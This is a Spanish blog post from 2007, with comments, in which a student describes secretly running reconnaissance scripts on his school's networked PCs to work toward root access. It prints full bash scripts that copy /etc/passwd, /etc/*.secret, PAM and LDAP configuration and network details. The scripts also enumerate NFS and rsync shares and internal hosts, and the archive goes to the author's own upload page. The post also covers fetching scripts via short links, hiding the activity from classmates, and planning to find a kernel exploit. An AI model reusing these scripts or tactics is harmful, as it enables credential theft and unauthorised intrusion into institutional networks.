jueves, noviembre 08, 2007

Lunes de scripts

Este año en alternativa (no doy religión) nos meten en el aula de dibujo, es una hora a la semana, los lunes y lo mejor es en ese aula al final hay un par de PCs de sobremesa conectados a la red TIC, aparentemente configurados del mismo modo que los portátiles, lo de la red tic lo se porque tienen acceso a f0 y c0, lo otro lo supuse porque están en manos del CGA, el primer día que lo usé salió un mensaje en el área de notificación que ponía mas o menos "el equipo va a ser actualizado por el CGA", así que si la configuración no es exactamente la misma debería parecerse bastante. Este par de PCs dan muchas posibilidades, podría ver si arrancan desde usb y de ser así hacerme root, podría intentar lo del netboot, podría ejecutar scripts en él, etc.

La primera vez que lo cogí no hice prácticamente nada, además no tenía ningún sitio donde guardar los resultados, porque el ftp está capado. Sin embargo para el lunes siguiente se me ocurrió montarlo un poco mejor, en mi hosting de 1and1, puse una página php que me permite subir archivos, así puede enviar los resultados independientemente de que el ftp esté cerrado. El código php lo busqué en google, porque yo no se php así que lo de programarlo yo mismo chungo. Además de eso el script a ejecutar lo puse en el server también para descargarlo desde el PC del instituto.

El código php lo encontré vía google, llegué al blog unijimpe.net, que tiene un post comentando precisamente ese tema.

Aunque lo modifiqué un poco (la parte html) para que solo mostrará lo imprescindible, para que cuando lo usara en el instituto no mostrara nada mas que el cuadro de texto con el botón examinar para elegir en archivo y el botón upload. El original tiene un título llamativo, además muestra los archivos que ya se han subido, y creo que poco mas, pero llama mas la atención. El código (el modificado por mi, no el original) no lo voy a poner aquí directamente es un poco largo, lo podéis ver en mi server, el original está en el post que comento antes.

Esa parte de la infraestructura ya esta lista, ya puedo subir los resultados, pero los resultados de qué? He hecho dos scripts, uno lo he ejecutado ya, el otro no. El que he ejecutado lo que hace es copiar la configuración de ldap, y ya que estamos
copia la los archivos de configuración de pam, para ver como están configurado lo de la autenticación ldap. Ejecuta showmount para ver que directorios del servidor NFS se pueden montar. Además copia la configuración de la red. También ejecuta uname -a para posteriormente buscar algún posible exploit (esto no lo hace el script, lo del exploit lo hago yo en securityfocus...). Por último lo comprime todo en un tar.gz y ese archivo es el que yo subo manualmente a mi server.

El script en cuestión es éste:
#!/bin/bash
mkdir ~/logs
mount > ~/logs/mount

# ldap backup
cp -R /etc/pam.d ~/logs
cp /etc/*.secret ~/logs/
cp -R /etc/ldap ~/logs
cp /etc/nsswitch.conf ~/logs
cp /etc/libnss-ldap.conf ~/logs
cp /etc/passwd ~/logs
cp /etc/pam_ldap.conf ~/logs

# nfs directories
showmount -e f0 > ~/logs/showmount.f0
showmount -a f0 >> ~/logs/showmount.f0
showmount -e c0 > ~/logs/showmount.c0
showmount -a c0 >> ~/logs/showmount.c0

# net config
ifconfig -a > ~/logs/ifconfig
iwconfig > ~/logs/iwconfig
cp /etc/network/interfaces ~/logs/net.interfaces
route > ~/logs/route

# other
uname -a > ~/logs/uname

tar -czvf ~/logs.tar.gz ~/logs/*

Para terminar la faena hice dos redirecciones al estilo tinyurl para acortar la dirección, pero lo hice con fon.gs, que ya de por si es corto, y ademas permite elegir el nombre del enlace, yo puse script y upload, pero me pareció que quedaría mejor mas corto así que al final me quedé con sh y up. De modo que quedaron estas dos url: fon.gs/sh y fon.gs/up. La primera es el script y la segunda la pagina a la que subo el resultado.

Ya el resto era fácil solo era ejecutar en pc del instituto:

$ wget fon.gs/sh
$ sh script.sh

Y subir a fon.gs/up el archivo ~/logs/logs.tar.gz.

En realidad no fue tan fácil, el primer día cuando estuve mirando manualmente algunas cosas, se acercó mucha gente a los PCs (solo hay dos en ese aula) y no me hacía ninguna gracia que la gente se diera cuenta de todo, así que paré, de hecho la idea de los scripts fue para hacer las cosas mas rápido y acabar prácticamente nada mas empezar. El siguiente lunes, era cuando iba a ejecutar este plan, pensaba hacerlo nada mas entrar, ir rápidamente a un PC y ejecutarlo antes de que la gente se acercara, pero no fue así, la gente fue nada mas entrar, así que plan destrozado, sin embargo pensé que el final de la hora, justo cuando acaba la clase y la gente se levanta y se va, podía hacerlo en pocos segundos y apagar yo el ordenador. Así fue, cuando acabo la hora la gente se levantó y fue hacia la puerta pero yo al que estaba en el pc le dije, espera no lo apagues! y lo hice todo. Al final solo un testigo, bastante mejor que los 10 o 15 que podría haber tenido.

Los resultados que revisé en mi casa, fueron... digamos inesperados. LDAP no estaba configurado, los ficheros de configuración eran los que aparecían por defecto, así que sigo sin saber nada sobre ldap, se ve que estos dos pcs no están configurados en ese aspecto, los portátiles si lo estarán porque los servidores tienen el servicio ldap funcionando. Respecto al archivo /etc/passwd, simplemente lo copié para ver si el usuario root esta deshabilitado o no en ese fichero, y no, lo que aparece es una x, es decir, hay que recurrir a shadow.

Respecto al showmount, no valió para nada, no estaba instalado el paquete nfs-common o nfs-utils, se ve que tampoco tienen nfs estos pcs. Desde luego si están en manos del CGA no se porque no están igual que los portátiles, y si están en manos del instituto... pues simplemente no veo nadie capaz de hacerlo.

La red no dio ninguna sorpresa, está conectado por wifi a la red Andared (la misma que usan los portátiles. Por último el uname, este fue el resultado:

Linux pc226-1 2.6.12-10-686 #1 Thu Dec 22 11:55:07 UTC 2005 i686 GNU/Linux

Todavía no he hecho ninguna búsqueda intensiva de exploits, pero quizás haya alguno útil....

Después de estos resultados el siguiente domingo preparé otro script para el lunes correspondiente, de hecho valoré la posibilidad de dejar la fonera y hacerlas cosas en esos PCs, ahorrándome las pilas, la fonera y la fontenna y los problemas de espacio, pero esa posibilidad la vi rápidamente frustrada el lunes siguiente. Precisamente por el problema que he contado antes, como solo hay dos pcs en el aula mucha gente se pone en torno a ellos, así que he decidido dejar ese tema, volveré a la fonera.

Para el siguiente lunes, el script que tenía preparado lo que hacía era intentar de nuevo lo del showmount, pero esta vez descargando el ejecutable primero, también uso rsync para ver cuales son los directorios "sincronizables" del servidor, intento resolver dos nombres (dns) de servidores que corresponden a otro centro tic de mi ciudad, lo hago para ver si existe alguna intranet a la que yo pueda acceder fácilmente o si solo desde Sevilla tienen tienen acceso a todo (CGA), también intenta descargar el index.html del c0 del otro centro tic, porque a lo mejor el dns me lo resuelve pero no tengo acceso. Luego hace un dpkg -l y guarda el resultado, todo esto lo comprime en ~/logs/logs.tar.gz. Pero al script le queda una cosa más, copia la cache de apt, bueno en realidad no se si se llama así, me refiero a los archivos que descarga de cada repositorio cuando haces un apt-get update, los que tienen las listas de archivos, esto lo descargo para saber si tienen algo útil, porque en el hipotético caso de que yo fuera root podría instalar todo y si esta en el repositorio mejor. Esto va al fichero ~/logs/apt.tar.gz, creo que no lo he dicho antes, el carácter ~, simboliza el /home del usuario, por ejemplo si yo pongo en mi pc cd ~/logs, es como cd /home/neobius/logs.

El script es este:

#!/bin/bash
rm -r ~/logs
mkdir ~/logs

wget http://neobius.es/sh/showmount
chmod +x showmount

RSYNC=$(ls /usr/bin/rsync)
RSYNC2=/usr/bin/rsync
if [ "$RSYNC" == "$RSYNC2" ]; then
rsync 192.168.0.1:: > ~/logs/rsync;
else
wget http://neobius.es/sh/rsync
chmod +x rsync
./rsync 192.168.0.1:: > ~/logs/rsync;
fi

./showmount -e 192.168.0.2 > ~/logs/showmount
echo -e "\r" >> ~/logs/showmount
./showmount -a 192.168.0.2 >> ~/logs/showmount

nslookup c0.14704533.11.andared.cec.junta-andalucia.es 192.168.0.1 > ~/logs/dns1
nslookup c0.14704533.11.andared.cec.junta-andalucia.es 192.168.0.2 > ~/logs/dns2
wget http://c0.11700603.11.andared.cec.junta-andalucia.es -O ~/logs/intranet

dpkg -l > ~/logs/packets

tar -czvf ~/logs/logs.tar.gz ~/logs/*

cp -r /var/lib/apt/ ~/logs/
tar -czvf ~/logs/apt.tar.gz ~/logs/apt/*

Ya lo he explicado antes, pero voy a añadir algunos detalles, lo primero es descargar showmount, que esperé que funcionara, primero cogí el del paquete de ubuntu nfs-common, y lo iba a dejar así cuando se me ocurrió arrancar el live cd de guadalinex v3 en vmware y probarlo... no funcionó, el ejecutable creo que daba algún error de libc o algo parecido. Pero eso tiene fácil solución, en vez de usar el paquete de ubuntu uso el del repositorio de guadalinex, dicho y hecho, después ya funcionó. Luego se le dan permisos y se ejecuta solo hacia el servidor que tiene nfs corriendo (c0). Si os fijáis he ejecutado el mismo comando con la opción -e y luego -a. El primero muestra la export list, los directorios que se pueden montar, el segundo muestra toda la información (all), incluso que directorios están montados y por quién. Un ejemplo en mi red local (debian es mi server):

# showmount -e 192.168.0.6
Export list for 192.168.0.6:
/media/home 192.168.0.0/255.255.255.0
# showmount -a 192.168.0.6
All mount points on 192.168.0.6:
192.168.0.0/255.255.255.0:/media/home
192.168.0.10:192.168.0.0/255.255.255.0
192.168.0.11:/media/home
192.168.0.11:192.168.0.0/255.255.255.0
192.168.0.21:192.168.0.0/255.255.255.0
192.168.0.5:192.168.0.0/255.255.255.0

Ahora vamos con el tema del rsync, imagino que muchos ya lo conoceréis porque creo que ya he hablado de él por aquí, pero por si acaso os lo cuento, simplemente permite sincronizar directorios locales o remotos, por ejemplo yo tengo en mi servidor el directorio /media/almacen/trabajos y ahí tengo una carpeta por asignatura y dentro de cada los trabajos y también algunos archivos de texto con links que me resultó útil consultar al estudiar el tema (en realidad no lo tengo, es un ejemplo inventado) y quiero hacer un backup en mi portátil, o quiero copiarlo todo para ver mis trabajos, o lo que sea, el caso es que copia la carpeta entera con lo que tenga dentro. Imaginaros las utilidades que queráis a mi la principal que se me ocurre es backups y mirroring, que es lo que hace el repositorio de guadalinex, quien quiera hacer un mirror copia todo el repositorio con rsync. Volvemos al script, comprueba si el archivo existe en el pc, si existe lo usa, sino lo descarga y lo ejecuta contra f0, que es quien tiene el servicio corriendo. Como os he dicho antes el repositorio guadalinex lo usa, así que lo usaremos para ilustrar la entrada:

# rsync pool.guadalinex.org::


Repositorios de Guadalinex


Esta máquina contiene los siguientes repositorios:

* Guadalinex-liron (v1.0)
* Guadalinex-muflon (v2004)
* Guadalinex-flamenco (V3)
* Guadalinex-toro (V4)
* Ubuntu's (breezy, dapper y edgy)





guadalinex-flamenco Mirror de Guadalinex v3 (Flamenco)
guadalinex-toro Mirror de Guadalinex v4 (Toro)
ubuntu Mirrors de Ubuntu (breezy, dapper y edgy)
mirror Repositorio oficial de Guadalinex 2004
guadalinex Repositorio oficial de Guadalinex 1.0
guadalinex-descargas Descargas de Guadalinex (isos, documentacion, etc)

Cuando se ejecuta sin indicarle ningún directorio nos muestra cuales son los que se pueden sincronizar y eso es lo que yo quiero ver en f0.

Ahora toca lo de nslookup y wget, ya os he contado antes para que es, pero voy a añadir una cosa, la dirección es ésta:

c0.14704533.11.andared.cec.junta-andalucia.es

Lo primero puede cambiar c0, f0 y pc-xxx (xxx es un número), es decir la a juzgar por los nombres deberían de ser accesibles desde el exterior. A continuación viene el código del centro que sea (ese no es el mio, el código es inventado), a continuación viene un número que yo diría es el código de provincia, y que se saca del número anterior, pues todos los de Cádiz empiezan por 11, en Jaén por 23, en Sevilla por 41, etc. Y lo último es un nombre fijo, por cierto el nombre junta-andalucia.es no se resuelve desde el exterior, me lo apunto para la próxima, a ver si desde dentro ese dominio apunta a algún sitio.

Ya para acabar lo del apt, y dpkg, nada que añadir.

El script como os he dicho antes no lo he podido ejecutar y seguramente no lo haré en esos PCs, de hecho como ya os dije en el post anterior tengo un script listo para la fonera, pero eso os lo cuento en el siguiente post. La idea inicial de lunes de scripts, queda anulada, no puedo llevarla a cabo, así que habrá que contar con las complicaciones de la fonera. Fue bonito mientras duró, esos pcs abrían bastantes puertas, pero no han servido para nada :(

PD: Ahora que me acuerdo ahora en matemáticas creo que vamos a dar geometría y creo que vamos a usar los portátiles por parejas con el programa geogebra, así que igual puedo retomar lo de los scripts y usarlos en los portátiles...

PD2: He hecho un cambio de estilo, los script en vez de ponerlos en cursiva los he puesto usando el tag html "pre" ya veis el resultado, que os parece?

5 comentarios:

Anónimo dijo...

Estas dando palos de ciego ;). El que mucho abarca ....

Neobius dijo...

Hola, yo no lo veo así, necesito toda la información posible, y esos dos scripts los preparé la tarde anterior a los lunes para ver si podía evitarme la fonera y obtener la información en esos pcs en vez de hacerlo con la fonera, pero no ha sido posible. Ademas las pilas no son gratis, yo no veo mal haber intentado otra cosa.

De todas formas la semana que viene espero llevarme otra vez la fonera. Además hasta que no empiece a usar portátiles creo que todo será lento y complicado.

Yo creo que lo primero es obtener toda la información posible para encontrar algún vector de ataque, yo no puedo pretender ser root solo a través del apache (o si, pero puede ser mas complejo) si hay muchos servicios debo conocerlos todos e investigarlos. Porque aparte te recuerdo que uno de mis intereses es conocer todos los detalles sobre la red, no se trata de ser root de un día para otro en f0 o c0 (que si sale mira...), se trata de averiguar todo, es simple curiosidad, no se si me entiendes?

Puede ser que los scripts no sean lo mejor, pero lo que pasa es que eso lo preparé con las cosas que se me vinieron a la cabeza de en los pocos minutos que tarde en prepararlos.

Saludos ;-)

Anónimo dijo...

Una pista, todos los equipos son iguales, es decir todos tiene la misma paqueteria, por lo que no te hace falta tener un portátil.
Y un consejo. Si tienes poco tiempo de uso del terminal, usa screen así puedes ejecutar y cerrar la terminal

Neobius dijo...

Lo de screen lo he pensado, pero todavía no me ha hecho falta realmente. Y lo de los paquetes, pues mira suponiendo que son los mismos y que todos los pcs están configurados de la misma manera, entonces que pasa con el ldap?

De todas formas lo de screen, sería perfecto si pudiera ejecutarlo y desentenderme, pero no he averiguado ninguna forma para subir los datos automáticamente.

Saludos ;-)

Anónimo dijo...

yes.. informative thoughts :)